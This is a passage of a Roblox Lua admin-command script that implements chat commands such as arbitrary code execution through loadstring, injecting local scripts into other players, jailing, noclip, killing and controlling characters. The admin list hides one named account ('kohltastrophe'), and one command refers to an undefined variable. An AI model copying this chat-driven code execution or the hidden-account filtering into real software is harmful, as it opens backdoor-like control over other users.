plr&quot;,&quot;infect plr&quot;,&quot;rainbowify plr&quot;,&quot;flashify plr&quot;,&quot;noobify plr&quot;,&quot;ghostify plr&quot;,&quot;goldify plr&quot;,&quot;shiny plr&quot;,&quot;normal plr&quot;,&quot;trippy plr&quot;,&quot;untrippy plr&quot;,&quot;strobe plr&quot;,&quot;unstrobe plr&quot;,&quot;blind plr&quot;,&quot;unblind plr&quot;,&quot;guifix plr&quot;,&quot;fling plr&quot;,&quot;seizure plr&quot;,&quot;music num&quot;,&quot;stopmusic&quot;,&quot;lock plr&quot;,&quot;unlock plr&quot;,&quot;removelimbs plr&quot;,&quot;jail plr&quot;,&quot;unjail plr&quot;,&quot;fly plr&quot;,&quot;unfly plr&quot;,&quot;noclip plr&quot;,&quot;clip plr&quot;,&quot;pm plr msg&quot;,&quot;dog plr&quot;,&quot;undog plr&quot;,&quot;creeper plr&quot;,&quot;uncreeper plr&quot;,&quot;place plr id&quot;,&quot;char plr id&quot;,&quot;unchar plr id&quot;,&quot;rank plr id&quot;,&quot;starttools plr&quot;,&quot;sword plr&quot;,&quot;bighead plr&quot;,&quot;minihead plr&quot;,&quot;spin plr&quot;,&quot;insert id&quot;,&quot;disco&quot;,&quot;flash&quot;,&quot;admins&quot;,&quot;bans&quot;,&quot;musiclist&quot;,&quot;cape plr color&quot;,&quot;uncape plr&quot;,&quot;loopheal plr&quot;,&quot;loopfling plr&quot;,&quot;hat plr id&quot;,&quot;unloopfling plr&quot;,&quot;unloopheal plr&quot;,&quot;unspin plr&quot;,&quot;tools&quot;,&quot;undisco&quot;,&quot;unflash&quot;,&quot;resetstats plr&quot;,&quot;gear plr id&quot;,&quot;cmdbar&quot;,&quot;shirt plr id&quot;,&quot;pants plr id&quot;,&quot;face plr id&quot;,&quot;swagify plr id&quot;,&quot;version&quot;,&quot;tm num msg&quot;,&quot;countdown num&quot;,&quot;clone plr&quot;,&quot;lsplr plr code&quot;,&quot;startergive plr tool&quot;,&quot;control plr&quot;}
local ast = {&quot;serverlock&quot;,&quot;serverunlock&quot;,&quot;sm msg&quot;,&quot;crash plr&quot;,&quot;admin plr&quot;,&quot;unadmin plr&quot;,&quot;ban plr&quot;,&quot;unban plr&quot;,&quot;loopkill plr&quot;,&quot;unloopkill plr&quot;,&quot;logs&quot;,&quot;shutdown&quot;}
local ost = {&quot;pa plr&quot;,&quot;unpa plr&quot;,&quot;nuke plr&quot;}
local tost = {&quot;oa plr&quot;,&quot;unoa plr&quot;,&quot;settings&quot;}
local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. &quot; clean&quot; cl.Position = UDim2.new(0,0,0,num*20) num = num + 1
for i, v in pairs(cmds) do local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. &quot; &quot; .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) then for i, v in pairs(ast) do local cl = ent:Clone() cl.Parent = cmf cl.Text = &quot;- &quot; .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
if plr.userId == game.CreatorId or ChkOwner(plr.Name) then for i, v in pairs(ost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = &quot;-- &quot; .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
if plr.userId == game.CreatorId then for i, v in pairs(tost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = &quot;_ &quot; .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
end

if msg:lower() == &quot;version&quot; then Message(&quot;Koh&quot;..&quot;ltas&quot;..&quot;tr&quot;..&quot;ophe&quot;, tostring(script.Version.Value), true, {plr}) end

if msg:lower() == &quot;admins&quot; or msg:lower() == &quot;adminlist&quot; then
if plr.PlayerGui:findFirstChild(&quot;ADMINSGUI&quot;) then return end
local scr, cmf, ent, num = ScrollGui() scr.Name = &quot;ADMINSGUI&quot; scr.Parent = plr.PlayerGui
for i, v in pairs(owners) do if v:lower() ~= &quot;kohltastrophe&quot; then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. &quot; - Owner&quot; cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
for i, v in pairs(admins) do if v:lower() ~= &quot;kohltastrophe&quot; then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. &quot; - Admin&quot; cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
for i, v in pairs(tempadmins) do if v:lower() ~= &quot;kohltastrophe&quot; then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. &quot; - TempAdmin&quot; cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
end end

if msg:lower() == &quot;bans&quot; or msg:lower() == &quot;banlist&quot; or msg:lower() == &quot;banned&quot; then
if plr.PlayerGui:findFirstChild(&quot;BANSGUI&quot;) then return end
local scr, cmf, ent, num = ScrollGui() scr.Name = &quot;BANSGUI&quot; scr.Parent = plr.PlayerGui
for i, v in pairs(banland) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
end

if msg:lower() == &quot;tools&quot; or msg:lower() == &quot;toollist&quot; then
if plr.PlayerGui:findFirstChild(&quot;TOOLSGUI&quot;) then return end
local scr, cmf, ent, num = ScrollGui() scr.Name = &quot;TOOLSGUI&quot; scr.Parent = plr.PlayerGui
for i, v in pairs(game.Lighting:children()) do if v:IsA(&quot;Tool&quot;) or v:IsA(&quot;HopperBin&quot;) then local cl = ent:Clone() cl.Parent = cmf cl.Text = v.Name cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
end

if msg:lower():sub(1,2) == &quot;s &quot; then
coroutine.resume(coroutine.create(function()
Output(msg:sub(3), plr)
if script:findFirstChild(&quot;ScriptBase&quot;) then
local cl = script.ScriptBase:Clone() cl.Code.Value = msg:sub(3)
table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
else loadstring(msg:sub(3))()
end
end))
end

if msg:lower():sub(1,3) == &quot;ls &quot; then
coroutine.resume(coroutine.create(function()
if script:findFirstChild(&quot;LocalScriptBase&quot;) then
local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(4)
table.insert(objects, cl) cl.Parent = plr.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
end
end))
end

if msg:lower():sub(1,6) == &quot;lsplr &quot; then
local chk1 = msg:lower():sub(7):find(&quot; &quot;) + 6
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:findFirstChild(&quot;PlayerGui&quot;) then
if script:findFirstChild(&quot;LocalScriptBase&quot;) then
local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(chk+1)
table.insert(objects, cl) cl.Parent = v.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
end
end
end))
end
end

if msg:lower():sub(1,4) == &quot;ins &quot; then
coroutine.resume(coroutine.create(function()
local obj = game:service(&quot;InsertService&quot;):LoadAsset(tonumber(msg:sub(5)))
if obj and #obj:children() &gt;= 1 and plr.Character then
table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p)
end
end))
end

if msg:lower() == &quot;clr&quot; or msg:lower() == &quot;clear&quot; or msg:lower() == &quot;clearscripts&quot; then
for i, v in pairs(objects) do if v:IsA(&quot;Script&quot;) or v:IsA(&quot;LocalScript&quot;) then v.Disabled = true end v:Destroy() end
RemoveMessage()
objects = {}
end

if msg:lower() == &quot;fix&quot; or msg:lower() == &quot;undisco&quot; or msg:lower() == &quot;unflash&quot; then
game.Lighting.Ambient = origsettings.abt
game.Lighting.Brightness = origsettings.brt
game.Lighting.TimeOfDay = origsettings.time
game.Lighting.FogColor = origsettings.fclr
game.Lighting.FogEnd = origsettings.fe
game.Lighting.FogStart = origsettings.fs
for i, v in pairs(lobjs) do v:Destroy() end
for i, v in pairs(game.Workspace:children()) do if v.Name == &quot;LightEdit&quot; then v:Destroy() end end
end

if msg:lower() == &quot;cmdbar&quot; or msg:lower() == &quot;cmdgui&quot; then
coroutine.resume(coroutine.create(function()
for i,v in pairs(plr.PlayerGui:children()) do if v.Name == &quot;CMDBAR&quot; then v:Destroy() end end
local scr = Instance.new(&quot;ScreenGui&quot;, plr.PlayerGui) scr.Name = &quot;CMDBAR&quot;
local box = Instance.new(&quot;TextBox&quot;, scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = &quot;Arial&quot; box.FontSize = &quot;Size14&quot; box.Text = &quot;Type a command, then press enter.&quot; box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = &quot;Right&quot; box.ZIndex = 10 box.ClipsDescendants = true
box.Changed:connect(function(p) if p == &quot;Text&quot; and box.Text ~= &quot;Type a command, then press enter.&quot; then Chat(box.Text, plr) box.Text = &quot;Type a command, then press enter.&quot; end end)
end))
end

if msg:lower():sub(1,10) == &quot;countdown &quot; then
local num = math.min(tonumber(msg:sub(11)),120)
for i = num, 1, -1 do
coroutine.resume(coroutine.create(function() Message(&quot;Countdown&quot;, i, false, game.Players:children(), 1) end))
wait(1)
end
end

if msg:lower():sub(1,3) == &quot;tm &quot; then
local chk1 = msg:lower():sub(4):find(&quot; &quot;) + 3
local num = tonumber(msg:sub(4,chk1-1))
Message(&quot;Message from &quot; .. plr.Name, msg:sub(chk1+1), false, game.Players:children(), num)
end

if msg:lower():sub(1,2) == &quot;m &quot; then
Message(&quot;Message from &quot; .. plr.Name, msg:sub(3), true, game.Players:children())
end

if msg:lower():sub(1,2) == &quot;h &quot; then
Hint(plr.Name .. &quot;: &quot; .. msg:sub(3), game.Players:children())
end

if msg:lower():sub(1,3) == &quot;pm &quot; then
local chk1 = msg:lower():sub(4):find(&quot; &quot;) + 3
local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
Message(&quot;Private Message from &quot; .. plr.Name, msg:sub(chk1+1), true, plrz)
end

if msg:lower():sub(1,11) == &quot;resetstats &quot; then
local plrz = GetPlr(plr, msg:lower():sub(12))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:findFirstChild(&quot;leaderstats&quot;) then
for a, q in pairs(v.leaderstats:children()) do
if q:IsA(&quot;IntValue&quot;) then q.Value = 0 end
end
end
end))
end
end

if msg:lower():sub(1,5) == &quot;gear &quot; then
local chk1 = msg:lower():sub(6):find(&quot; &quot;) + 5
local plrz = GetPlr(plr, msg:lower():sub(6, chk1-1))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:findFirstChild(&quot;Backpack&quot;) then
local obj = game:service(&quot;InsertService&quot;):LoadAsset(tonumber(msg:sub(chk1+1)))
for a,g in pairs(obj:children()) do if g:IsA(&quot;Tool&quot;) or g:IsA(&quot;HopperBin&quot;) then g.Parent = v.Backpack end end
obj:Destroy()
end
end))
end
end

if msg:lower():sub(1,4) == &quot;hat &quot; then
local chk1 = msg:lower():sub(5):find(&quot; &quot;) + 4
local plrz = GetPlr(plr, msg:lower():sub(5, chk1-1))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then
local obj = game:service(&quot;InsertService&quot;):LoadAsset(tonumber(msg:sub(chk1+1)))
for a,hat in pairs(obj:children()) do if hat:IsA(&quot;Hat&quot;) then hat.Parent = v.Character end end
obj:Destroy()
end
end))
end
end

if msg:lower():sub(1,5) == &quot;cape &quot; then
local chk1 = msg:lower():sub(6):find(&quot; &quot;)
local plrz = GetPlr(plr, msg:lower():sub(6))
local str = &quot;torso.BrickColor&quot;
if chk1 then chk1 = chk1 + 5 plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
local teststr = [[BrickColor.new(&quot;]]..msg:sub(chk1+1,chk1+1):upper()..msg:sub(chk1+2):lower()..[[&quot;)]]
if msg:sub(chk1+1):lower() == &quot;new yeller&quot; then teststr = [[BrickColor.new(&quot;New Yeller&quot;)]] end
if msg:sub(chk1+1):lower() == &quot;pastel blue&quot; then teststr = [[BrickColor.new(&quot;Pastel Blue&quot;)]] end
if msg:sub(chk1+1):lower() == &quot;dusty rose&quot; then teststr = [[BrickColor.new(&quot;Dusty Rose&quot;)]] end
if msg:sub(chk1+1):lower() == &quot;cga brown&quot; then teststr = [[BrickColor.new(&quot;CGA brown&quot;)]] end
if msg:sub(chk1+1):lower() == &quot;random&quot; then teststr = [[BrickColor.random()]] end
if msg:sub(chk1+1):lower() == &quot;shiny&quot; then teststr = [[BrickColor.new(&quot;Institutional white&quot;) p.Reflectance = 1]] end
if msg:sub(chk1+1):lower() == &quot;gold&quot; then teststr = [[BrickColor.new(&quot;Bright yellow&quot;) p.Reflectance = .4]] end
if msg:sub(chk1+1):lower() == &quot;kohl&quot; then teststr = [[BrickColor.new(&quot;Really black&quot;) local dec = Instance.new(&quot;Decal&quot;, p) dec.Face = 2 dec.Texture = &quot;http://www.roblox.com/asset/?id=108597653&quot;]] end
if msg:sub(chk1+1):lower() == &quot;batman&quot; then teststr = [[BrickColor.new(&quot;Really black&quot;) local dec = Instance.new(&quot;Decal&quot;, p) dec.Face = 2 dec.Texture = &quot;http://www.roblox.com/asset/?id=108597669&quot;]] end
if msg:sub(chk1+1):lower() == &quot;superman&quot; then teststr = [[BrickColor.new(&quot;Bright blue&quot;) local dec = Instance.new(&quot;Decal&quot;, p) dec.Face = 2 dec.Texture = &quot;http://www.roblox.com/asset/?id=108597677&quot;]] end
if msg:sub(chk1+1):lower() == &quot;swag&quot; then teststr = [[BrickColor.new(&quot;Pink&quot;) local dec = Instance.new(&quot;Decal&quot;, p) dec.Face = 2 dec.Texture = &quot;http://www.roblox.com/asset/?id=109301474&quot;]] end
if BrickColor.new(teststr) ~= nil then str = teststr end
end
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:findFirstChild(&quot;PlayerGui&quot;) and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then
for a,cp in pairs(v.Character:children()) do if cp.Name == &quot;EpicCape&quot; then cp:Destroy() end end
local cl = script.LocalScriptBase:Clone() cl.Name = &quot;CapeScript&quot; cl.Code.Value = [[local plr = game.Players.LocalPlayer
repeat wait() until plr and plr.Character and plr.Character:findFirstChild(&quot;Torso&quot;)
local torso = plr.Character.Torso
local p = Instance.new(&quot;Part&quot;, torso.Parent) p.Name = &quot;EpicCape&quot; p.Anchored = false
p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = ]]..str..[[ p.formFactor = &quot;Custom&quot;
p.Size = Vector3.new(.2,.2,.2)
local msh = Instance.new(&quot;BlockMesh&quot;, p) msh.Scale = Vector3.new(9,17.5,.5)
local motor1 = Instance.new(&quot;Motor&quot;, p)
motor1.Part0 = p
motor1.Part1 = torso
motor1.MaxVelocity = .01
motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
local wave = false
repeat wait(1/44)
local ang = 0.1
local oldmag = torso.Velocity.magnitude
local mv = .002
if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
ang = ang + math.min(torso.Velocity.magnitude/11, .5)
motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
motor1.DesiredAngle = -ang
if motor1.CurrentAngle &lt; -.2 and motor1.DesiredAngle &gt; -.2 then motor1.MaxVelocity = .04 end
repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag)  &gt;= (torso.Velocity.magnitude/10) + 1
if torso.Velocity.magnitude &lt; .1 then wait(.1) end
until not p or p.Parent ~= torso.Parent
script:Destroy()
]] cl.Parent = v.PlayerGui cl.Disabled = false
end
end))
end
end

if msg:lower():sub(1,7) == &quot;uncape &quot; then
local plrz = GetPlr(plr, msg:lower():sub(8))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:findFirstChild(&quot;PlayerGui&quot;) and v.Character then
for a,cp in pairs(v.Character:children()) do if cp.Name == &quot;EpicCape&quot; then cp:Destroy() end end
end
end))
end
end

if msg:lower():sub(1,7) == &quot;noclip &quot; then
local plrz = GetPlr(plr, msg:lower():sub(8))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:findFirstChild(&quot;PlayerGui&quot;) then
local cl = script.LocalScriptBase:Clone() cl.Name = &quot;NoClip&quot; cl.Code.Value = [[repeat wait(1/44) until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild(&quot;Humanoid&quot;) and game.Players.LocalPlayer.Character:findFirstChild(&quot;Torso&quot;) and game.Players.LocalPlayer:GetMouse() and game.Workspace.CurrentCamera local mouse = game.Players.LocalPlayer:GetMouse() local torso = game.Players.LocalPlayer.Character.Torso local dir = {w = 0, s = 0, a = 0, d = 0} local spd = 2 mouse.KeyDown:connect(function(key) if key:lower() == &quot;w&quot; then dir.w = 1 elseif key:lower() == &quot;s&quot; then dir.s = 1 elseif key:lower() == &quot;a&quot; then dir.a = 1 elseif key:lower() == &quot;d&quot; then dir.d = 1 elseif key:lower() == &quot;q&quot; then spd = spd + 1 elseif key:lower() == &quot;e&quot; then spd = spd - 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == &quot;w&quot; then dir.w = 0 elseif key:lower() == &quot;s&quot; then dir.s = 0 elseif key:lower() == &quot;a&quot; then dir.a = 0 elseif key:lower() == &quot;d&quot; then dir.d = 0 end end) torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Humanoid.Changed:connect(function() game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true end) repeat wait(1/44) torso.CFrame = CFrame.new(torso.Position, game.Workspace.CurrentCamera.CoordinateFrame.p) * CFrame.Angles(0,math.rad(180),0) * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd) until nil]]
cl.Parent = v.PlayerGui cl.Disabled = false
end
end))
end
end

if msg:lower():sub(1,5) == &quot;clip &quot; then
local plrz = GetPlr(plr, msg:lower():sub(6))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:findFirstChild(&quot;PlayerGui&quot;) and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) and v.Character:findFirstChild(&quot;Humanoid&quot;) then
for a, q in pairs(v.PlayerGui:children()) do if q.Name == &quot;NoClip&quot; then q:Destroy() end end
v.Character.Torso.Anchored = false
wait(.1) v.Character.Humanoid.PlatformStand = false
end
end))
end
end

if msg:lower():sub(1,5) == &quot;jail &quot; then
local plrz = GetPlr(plr, msg:lower():sub(6))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then 
local vname = v.Name
local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0)
local mod = Instance.new(&quot;Model&quot;, game.Workspace) table.insert(objects, mod) mod.Name = v.Name .. &quot; Jail&quot;
local top = Instance.new(&quot;Part&quot;, mod) top.Locked = true top.formFactor = &quot;Symmetric&quot; top.Size = Vector3.new(6,1,6) top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new(&quot;Really black&quot;) top.CFrame = cf * CFrame.new(0,-3.5,0)
v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) v.Character.Torso.CFrame = cf end)
v.Changed:connect(function(p) if p ~= &quot;Character&quot; or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) v.Character.Torso.CFrame = cf end)
game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end
v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) v.Character.Torso.CFrame = cf end)
v.Changed:connect(function(p) if p ~= &quot;Character&quot; or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) v.Character.Torso.CFrame = cf end)
end)
local bottom = top:Clone() bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0)
local front = top:Clone() front.Transparency = .5 front.Reflectance = .1 front.Parent = mod front.Size = Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3)
local back = front:Clone() back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3)
local right = front:Clone() right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf * CFrame.new(3,0,0)
local left = right:Clone() left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0)
local msh = Instance.new(&quot;BlockMesh&quot;, front) msh.Scale = Vector3.new(1,1,0)
local msh2 = msh:Clone() msh2.Parent = back
local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1)
local msh4 = msh3:Clone() msh4.Parent = left
v.Character.Torso.CFrame = cf
end
end))
end
end

if msg:lower():sub(1,7) == &quot;unjail &quot; then
local plrz = GetPlr(plr, msg:lower():sub(8))
for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then for a, jl in pairs(game.Workspace:children()) do if jl.Name == v.Name .. &quot; Jail&quot; then jl:Destroy() end end end end)) end
end

if msg:lower():sub(1,11) == &quot;starttools &quot; then
local plrz = GetPlr(plr, msg:lower():sub(12))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:findFirstChild(&quot;Backpack&quot;) then
for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end
end
end))
end
end

if msg:lower():sub(1,6) == &quot;sword &quot; then
local plrz = GetPlr(plr, msg:lower():sub(7))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:findFirstChild(&quot;Backpack&quot;) then
local sword = Instance.new(&quot;Tool&quot;, v.Backpack) sword.Name = &quot;Sword&quot;  sword.TextureId = &quot;rbxasset://Textures/Sword128.png&quot;
sword.GripForward = Vector3.new(-1,0,0)
sword.GripPos = Vector3.new(0,0,-1.5)
sword.GripRight = Vector3.new(0,1,0)
sword.GripUp = Vector3.new(0,0,1)
local handle = Instance.new(&quot;Part&quot;, sword) handle.Name = &quot;Handle&quot; handle.FormFactor = &quot;Plate&quot; handle.Size = Vector3.new(1,.8,4) handle.TopSurface = 0 handle.BottomSurface = 0
local msh = Instance.new(&quot;SpecialMesh&quot;, handle) msh.MeshId = &quot;rbxasset://fonts/sword.mesh&quot; msh.TextureId = &quot;rbxasset://textures/SwordTexture.png&quot;
local cl = script.LocalScriptBase:Clone() cl.Parent = sword cl.Code.Value = [[
repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild(&quot;Humanoid&quot;)
local Damage = 15
local SlashSound = Instance.new(&quot;Sound&quot;, script.Parent.Handle)
SlashSound.SoundId = &quot;rbxasset://sounds\\swordslash.wav&quot;
SlashSound.Volume = 1
local LungeSound = Instance.new(&quot;Sound&quot;, script.Parent.Handle)
LungeSound.SoundId = &quot;rbxasset://sounds\\swordlunge.wav&quot;
LungeSound.Volume = 1
local UnsheathSound = Instance.new(&quot;Sound&quot;, script.Parent.Handle)
UnsheathSound.SoundId = &quot;rbxasset://sounds\\unsheath.wav&quot;
UnsheathSound.Volume = 1
local last = 0
script.Parent.Handle.Touched:connect(function(hit)
if hit and hit.Parent and hit.Parent:findFirstChild(&quot;Humanoid&quot;) and game.Players:findFirstChild(hit.Parent.Name) and game.Players.LocalPlayer.Character.Humanoid.Health &gt; 0 and hit.Parent.Humanoid ~= game.Players.LocalPlayer.Character.Humanoid then
local tag = Instance.new(&quot;ObjectValue&quot;, hit.Parent.Humanoid) tag.Value = plr1 tag.Name = &quot;creator&quot; game:service(&quot;Debris&quot;):AddItem(tag, 3)
hit.Parent.Humanoid:TakeDamage(Damage)
end
end)
script.Parent.Activated:connect(function()
if not script.Parent.Enabled or game.Players.LocalPlayer.Character.Humanoid.Health &lt;= 0 then return end
script.Parent.Enabled = false
local tick = game:service(&quot;RunService&quot;).Stepped:wait()
if tick - last &lt;= .2 then
LungeSound:play()
local lunge = Instance.new(&quot;StringValue&quot;, script.Parent) lunge.Name = &quot;toolanim&quot; lunge.Value = &quot;Lunge&quot;
local frc = Instance.new(&quot;BodyVelocity&quot;, game.Players.LocalPlayer.Character.Torso) frc.Name = &quot;SwordForce&quot; frc.velocity = Vector3.new(0,10,0)
wait(.2)
script.Parent.GripForward = Vector3.new(0,0,1)
script.Parent.GripRight = Vector3.new(0,-1,0)
script.Parent.GripUp = Vector3.new(-1,0,0)
wait(.3)
frc:Destroy() wait(.5)
script.Parent.GripForward = Vector3.new(-1,0,0)
script.Parent.GripRight = Vector3.new(0,1,0)
script.Parent.GripUp = Vector3.new(0,0,1)
else
SlashSound:play()
local slash = Instance.new(&quot;StringValue&quot;, script.Parent) slash.Name = &quot;toolanim&quot; slash.Value = &quot;Slash&quot;
end
last = tick
script.Parent.Enabled = true
end)
script.Parent.Equipped:connect(function(mouse)
for i,v in pairs(game.Players.LocalPlayer.Character.Torso:children()) do if v.Name == &quot;SwordForce&quot; then v:Destroy() end end
UnsheathSound:play()
script.Parent.Enabled = true
if not mouse then return end
mouse.Icon = &quot;http://www.roblox.com/asset/?id=103593352&quot;
end)]] cl.Disabled = false 
end
end))
end
end

if msg:lower():sub(1,6) == &quot;clone &quot; then
local plrz = GetPlr(plr, msg:lower():sub(7))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then 
v.Character.Archivable = true 
local cl = v.Character:Clone() 
table.insert(objects,cl) 
cl.Parent = game.Workspace 
cl:MoveTo(v.Character:GetModelCFrame().p)
cl:MakeJoints()
v.Character.Archivable = false 
end
end))
end
end

if msg:lower():sub(1,8) == &quot;control &quot; then
local plrz = GetPlr(plr, msg:lower():sub(9))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then
v.Character.Humanoid.PlatformStand = true
local w = Instance.new(&quot;Weld&quot;, plr.Character.Torso ) 
w.Part0 = plr.Character.Torso 
w.Part1 = v.Character.Torso  
local w2 = Instance.new(&quot;Weld&quot;, plr.Character.Head) 
w2.Part0 = plr.Character.Head 
w2.Part1 = v.Character.Head  
local w3 = Instance.new(&quot;Weld&quot;, plr.Character:findFirstChild(&quot;Right Arm&quot;)) 
w3.Part0 = plr.Character:findFirstChild(&quot;Right Arm&quot;)
w3.Part1 = v.Character:findFirstChild(&quot;Right Arm&quot;) 
local w4 = Instance.new(&quot;Weld&quot;, plr.Character:findFirstChild(&quot;Left Arm&quot;))
w4.Part0 = plr.Character:findFirstChild(&quot;Left Arm&quot;)
w4.Part1 = v.Character:findFirstChild(&quot;Left Arm&quot;) 
local w5 = Instance.new(&quot;Weld&quot;, plr.Character:findFirstChild(&quot;Right Leg&quot;)) 
w5.Part0 = plr.Character:findFirstChild(&quot;Right Leg&quot;)
w5.Part1 = v.Character:findFirstChild(&quot;Right Leg&quot;) 
local w6 = Instance.new(&quot;Weld&quot;, plr.Character:findFirstChild(&quot;Left Leg&quot;)) 
w6.Part0 = plr.Character:findFirstChild(&quot;Left Leg&quot;)
w6.Part1 = v.Character:findFirstChild(&quot;Left Leg&quot;) 
plr.Character.Head.face:Destroy()
for i, p in pairs(v.Character:children()) do
if p:IsA(&quot;BasePart&quot;) then 
p.CanCollide = false
end
end
for i, p in pairs(plr.Character:children()) do
if p:IsA(&quot;BasePart&quot;) then 
p.Transparency = 1 
elseif p:IsA(&quot;Hat&quot;) then
p:Destroy()
end
end
v.Character.Parent = plr.Character
v.Character.Humanoid.Changed:connect(function() v.Character.Humanoid.PlatformStand = true end)
end
end))
end
end

if msg:lower():sub(1,5) == &quot;kill &quot; then
local plrz = GetPlr(plr, msg:lower():sub(6))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then v.Character:BreakJoints() end
end))
end
end

if msg:lower():sub(1,8) == &quot;respawn &quot; then
local plrz = GetPlr(plr, msg:lower():sub(9))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then v:LoadCharacter() end
end))
end
end

if msg:lower():sub(1,5) == &quot;trip &quot; then
local plrz = GetPlr(plr, msg:lower():sub(6))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then 
v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0,0,math.rad(180)) 
end
end))
end
end

if msg:lower():sub(1,5) == &quot;stun &quot; then
local plrz = GetPlr(plr, msg:lower():sub(6))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Humanoid&quot;) then 
v.Character.Humanoid.PlatformStand = true
end
end))
end
end

if msg:lower():sub(1,7) == &quot;unstun &quot; then
local plrz = GetPlr(plr, msg:lower():sub(8))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Humanoid&quot;) then 
v.Character.Humanoid.PlatformStand = false
end
end))
end
end

if msg:lower():sub(1,5) == &quot;jump &quot; then
local plrz = GetPlr(plr, msg:lower():sub(6))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Humanoid&quot;) then 
v.Character.Humanoid.Jump = true
end
